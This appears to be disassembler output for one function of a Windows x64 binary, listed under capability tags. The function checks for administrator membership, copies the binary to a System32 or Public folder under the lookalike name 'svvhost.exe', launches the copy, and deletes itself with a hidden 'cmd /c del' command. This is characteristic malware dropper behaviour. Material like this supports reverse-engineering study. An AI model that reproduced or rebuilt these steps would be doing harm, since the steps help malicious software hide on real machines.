Function at 0x140004bf0
Capabilities:
Create process on windows
Get comspec environment variable
Get token membership
Initialize winsock library
Query environment variable
Resume thread
Self delete

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r13
push r14
lea rbp, [rsp - 0x8c0]
sub rsp, 0x9c0
mov rax, qword [0x1400490c0]
xor rax, rsp
mov qword [rbp + 0x8b0], rax
mov ecx, 0x202
lea rdx, [rbp + 0xe0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140004fe6
lea rcx, [rbp - 0x28]
call fcn.1400043d0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xor r13d, r13d
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], send
mov byte [rbp - 0x48], r13b
lea rdi, [rbp - 0x28]
cmp qword [rbp - 0x10], 0xf
cmova rdi, qword [rbp - 0x28]
mov r14, qword [rbp - 0x18]
cmp r14, 8
jb 0x140004ce7
lea rsi, [r14 + rdi]
lea r8, [rsi - 7]
sub r8, rdi
lea edx, [r13 + 0x53]
mov rcx, rdi
call fcn.140034850
mov rbx, rax
test rax, rax
je 0x140004ce7
nop dword [rax]
mov r8d, 8
lea rdx, str.System32
mov rcx, rbx
call fcn.1400348f0
test eax, eax
je 0x140004cda
inc rbx
lea r8, [rsi - 7]
sub r8, rbx
mov edx, 0x53
mov rcx, rbx
call fcn.140034850
mov rbx, rax
test rax, rax
jne 0x140004ca0
jmp 0x140004ce7
sub rbx, rdi
cmp rbx, 0xffffffffffffffff
jne 0x14000521d
lea rdi, [rbp - 0x28]
cmp qword [rbp - 0x10], 0xf
cmova rdi, qword [rbp - 0x28]
cmp r14, 0xf
jb 0x140004d5c
lea rsi, [r14 + rdi]
lea r8, [rsi - 0xe]
sub r8, rdi
mov edx, 0x43
mov rcx, rdi
call fcn.140034850
mov rbx, rax
test rax, rax
je 0x140004d5c
nop dword [rax + rax]
mov r8d, send
lea rdx, str.C:UsersPublic
mov rcx, rbx
call fcn.1400348f0
test eax, eax
je 0x140004e15
inc rbx
lea r8, [rsi - 0xe]
sub r8, rbx
mov edx, 0x43
mov rcx, rbx
call fcn.140034850
mov rbx, rax
test rax, rax
jne 0x140004d20
mov dword [rbp - 0x50], r13d
mov dword [rbp - 0x58], 0
mov word [rbp - 0x54], 0x500
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r13d
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140004dd5
lea r8, [rbp - 0x50]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x140004dca
mov dword [rbp - 0x50], r13d
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov rax, qword [rbp - 0x30]
cmp dword [rbp - 0x50], 0
je 0x140004e35
cmp rax, 0x1f
jb 0x140004e27
lea rbx, [rbp - 0x48]
cmp rax, 0xf
cmova rbx, qword [rbp - 0x48]
mov qword [rbp - 0x38], 0x1f
mov r8d, 0x1f
lea rdx, str.C:WindowsSystem32_svvhost.exe
mov rcx, rbx
call fcn.140033e10
mov byte [rbx + 0x1f], 0
jmp 0x140004e80
sub rbx, rdi
cmp rbx, 0xffffffffffffffff
jne 0x14000521d
jmp 0x140004d5c
lea r9, str.C:WindowsSystem32_svvhost.exe
mov edx, 0x1f
jmp 0x140004e77
cmp rax, 0x1b
jb 0x140004e6b
lea rbx, [rbp - 0x48]
cmp rax, 0xf
cmova rbx, qword [rbp - 0x48]
mov qword [rbp - 0x38], 0x1b
mov r8d, 0x1b
lea rdx, str.C:UsersPublic_svvhost.exe
mov rcx, rbx
call fcn.140033e10
mov byte [rbx + 0x1b], 0
jmp 0x140004e80
lea r9, str.C:UsersPublic_svvhost.exe
mov edx, 0x1b
lea rcx, [rbp - 0x48]
call fcn.14000b910
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x28]
call fcn.140004740
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x74], xmm0
movups xmmword [rbp + 0x84], xmm0
movups xmmword [rbp + 0x94], xmm0
movups xmmword [rbp + 0xa4], xmm0
movups xmmword [rbp + 0xb4], xmm0
movups xmmword [rbp + 0xc4], xmm0
mov dword [rbp + 0xd4], eax
mov dword [rbp + 0x70], 0x68
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x68]
call fcn.140007990
mov rcx, rax
call fcn.140002c90
mov rcx, rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140005017
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.CreateProcess_failed__
lea rcx, [0x14004aa60]
call fcn.14000a3b0
mov rcx, rax
mov edx, ebx
call fcn.140007250
mov rcx, rax
lea rdx, [0x140041cf4]
call fcn.14000a3b0
mov rcx, rax
call fcn.14000a660
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140004f9b
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400052a8
call fcn.140010670
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], send
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140004fe6
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fe1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005217
call fcn.140010670
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x8b0]
xor rcx, rsp
call fcn.140010650
lea r11, [rsp + 0x9c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r13
pop rbp
ret
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x104
lea rdx, [rbp + 0x280]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000518e
mov r8d, 0x104
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x14000518e
mov r8d, 0x104
lea rdx, [rbp + 0x6a0]
lea rcx, str.COMSPEC
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x14000518e
lea rdx, str.__c_del
lea rcx, [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.___nul
lea rcx, [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x6a0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rax
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rax
mov dword [rbp], 0x68
mov dword [rbp + 0x3c], 1
mov word [rbp + 0x40], r13w
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, send
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], send
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x6a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140005248
jmp 0x14000527b
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x1400051c9
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400051c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400052a8
call fcn.140010670
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], send
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140005210
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000520b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005217
call fcn.140010670
xor eax, eax
jmp 0x140004feb
call fcn.14001c204
nop
lea rcx, [rbp - 0x28]
call fcn.140007810
mov rcx, rax
call fcn.1400046a0
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.1400076d0
mov rcx, rax
call fcn.140004ad0
call fcn.140004730
int3
mov edx, 0x40
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, 0xfffffff1
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
call fcn.140017268
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x20
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor ecx, ecx
call fcn.140017268
nop
call fcn.14001c204
int3